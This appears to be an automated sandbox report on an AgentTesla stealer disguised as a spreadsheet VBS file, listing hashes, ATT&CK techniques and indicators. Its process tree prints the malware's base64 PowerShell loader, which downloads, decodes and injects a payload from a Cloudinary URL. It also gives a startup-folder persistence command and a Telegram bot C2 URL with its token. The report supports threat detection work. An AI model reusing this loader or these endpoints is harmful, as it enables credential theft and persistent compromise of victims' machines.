agenttesla | 7ca1df4dbbeec2613da7d3761e7809633626a4112325c7cc36a7091963f8e0d3

General

Target

Company-profile-of-VCR-ORDER#63729.xlsx.vbs
Size

152KB
MD5

41cf7825cf77ddf8fb888749b7b6547f
SHA1

b89fc1ab3e8df2bc33e8aae8f1bf6a82b1788705
SHA256

9a9e5c97bca11cc8a54c61b20e4dbb5ed1dc77f9327e0e27c8bf1e86fb6bb5d7
SHA512

232cd73ade4e1433a65e377833eb16b9c01dfaf6b59012e163758c67233252551fab98887fad9ad2bc4f84f4233eff59495d594834c15c25020872ad7bff3f64
SSDEEP

3072:1ew51avxlU+tI1DTQX8F7CNEoWGXu+Fqew51avxlU+tI1DTQX8F7CNEoWGXu+qeF:1ecOxlUq6sX8F7cKGXPFqecOxlUq6sXB

Score

10^/10

agenttesla collection discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6050556352:AAE_-mublQ2CllMbT9xkQVBjSBbdvdYR1kM/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	2144	powershell.exe
24	2144	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\oMCAov = "C:\\Users\\Admin\\AppData\\Roaming\\oMCAov\\oMCAov.exe"	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe
1872	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2144 set thread context of 3388	2144	powershell.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3620	cmd.exe
2580	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2580	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1872	powershell.exe
1872	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	3388	MSBuild.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 372 wrote to memory of 3620	372	WScript.exe	82
PID 372 wrote to memory of 3620	372	WScript.exe	82
PID 3620 wrote to memory of 2580	3620	cmd.exe	84
PID 3620 wrote to memory of 2580	3620	cmd.exe	84
PID 3620 wrote to memory of 1872	3620	cmd.exe	89
PID 3620 wrote to memory of 1872	3620	cmd.exe	89
PID 372 wrote to memory of 2144	372	WScript.exe	91
PID 372 wrote to memory of 2144	372	WScript.exe	91
PID 2144 wrote to memory of 1952	2144	powershell.exe	95
PID 2144 wrote to memory of 1952	2144	powershell.exe	95
PID 2144 wrote to memory of 1952	2144	powershell.exe	95
PID 2144 wrote to memory of 3772	2144	powershell.exe	96
PID 2144 wrote to memory of 3772	2144	powershell.exe	96
PID 2144 wrote to memory of 3772	2144	powershell.exe	96
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97
PID 2144 wrote to memory of 3388	2144	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Company-profile-of-VCR-ORDER#63729.xlsx.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $unreachable = 'JHNvbmhvb2QgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZ2xhdWNvbWFzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbWFsbGVhYmx5ID0gJGdsYXVjb21hcy5Eb3dubG9hZERhdGEoJHNvbmhvb2QpOyRpbmRldGVybWluYWNpZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkbWFsbGVhYmx5KTskc3dpbmdsZXRyZWUgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JHVuZGVycGF5bWVudHMgPSAnPDxCQVNFNjRfRU5EPj4nOyRyZXByb2dyYW1lZCA9ICRpbmRldGVybWluYWNpZXMuSW5kZXhPZigkc3dpbmdsZXRyZWUpOyRmdW5jdGlvbmFsaXN0ID0gJGluZGV0ZXJtaW5hY2llcy5JbmRleE9mKCR1bmRlcnBheW1lbnRzKTskcmVwcm9ncmFtZWQgLWdlIDAgLWFuZCAkZnVuY3Rpb25hbGlzdCAtZ3QgJHJlcHJvZ3JhbWVkOyRyZXByb2dyYW1lZCArPSAkc3dpbmdsZXRyZWUuTGVuZ3RoOyRwYXJsb3VyID0gJGZ1bmN0aW9uYWxpc3QgLSAkcmVwcm9ncmFtZWQ7JHNoZWVwc2tpbnMgPSAkaW5kZXRlcm1pbmFjaWVzLlN1YnN0cmluZygkcmVwcm9ncmFtZWQsICRwYXJsb3VyKTskdmlyb2xvZ2lzdHMgPSAtam9pbiAoJHNoZWVwc2tpbnMuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNoZWVwc2tpbnMuTGVuZ3RoKV07JGpvY2tvcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHZpcm9sb2dpc3RzKTskZGVidW5rZXJzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkam9ja29zKTskZXhvbmVyYXRpb25zID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGV4b25lcmF0aW9ucy5JbnZva2UoJG51bGwsIEAoJ2IyZjA4OTNkZDlhNC0wNmZiLTMzNTQtZWY0YS0wMmM1Nzk3YT1uZWtvdCZhaWRlbT10bGE/dHh0LlBVVC9vL21vYy50b3BzcHBhLjY3N2QyLW9sb3BodGFrL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGgnLCAnJGVzdXJpZW5jZScsICckZXN1cmllbmNlJywgJyRlc3VyaWVuY2UnLCAnTVNCdWlsZCcsICckZXN1cmllbmNlJywgJyRlc3VyaWVuY2UnLCckZXN1cmllbmNlJywnJGVzdXJpZW5jZScsJyRlc3VyaWVuY2UnLCckZXN1cmllbmNlJywnJGVzdXJpZW5jZScsJzEnLCckZXN1cmllbmNlJykpOw==';$imbedded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unreachable));Invoke-Expression $imbedded
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:3772
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azgkgsea.4ff.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1872-13-0x00007FF9D5010000-0x00007FF9D5AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-1-0x00007FF9D5013000-0x00007FF9D5015000-memory.dmp

Filesize
8KB

Download
memory/1872-14-0x00007FF9D5010000-0x00007FF9D5AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-17-0x00007FF9D5010000-0x00007FF9D5AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-12-0x00007FF9D5010000-0x00007FF9D5AD1000-memory.dmp

Filesize
10.8MB

Download
memory/1872-2-0x00000213EB590000-0x00000213EB5B2000-memory.dmp

Filesize
136KB

Download
memory/2144-29-0x000002421F7E0000-0x000002421F938000-memory.dmp

Filesize
1.3MB

Download
memory/3388-30-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3388-32-0x0000000005B20000-0x00000000060C4000-memory.dmp

Filesize
5.6MB

Download
memory/3388-33-0x00000000054D0000-0x0000000005536000-memory.dmp

Filesize
408KB

Download
memory/3388-35-0x0000000006670000-0x0000000006702000-memory.dmp

Filesize
584KB

Download
memory/3388-36-0x0000000006630000-0x000000000663A000-memory.dmp

Filesize
40KB

Download
memory/3388-37-0x00000000068E0000-0x0000000006930000-memory.dmp

Filesize
320KB

Download
memory/3388-38-0x0000000006B00000-0x0000000006CC2000-memory.dmp

Filesize
1.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads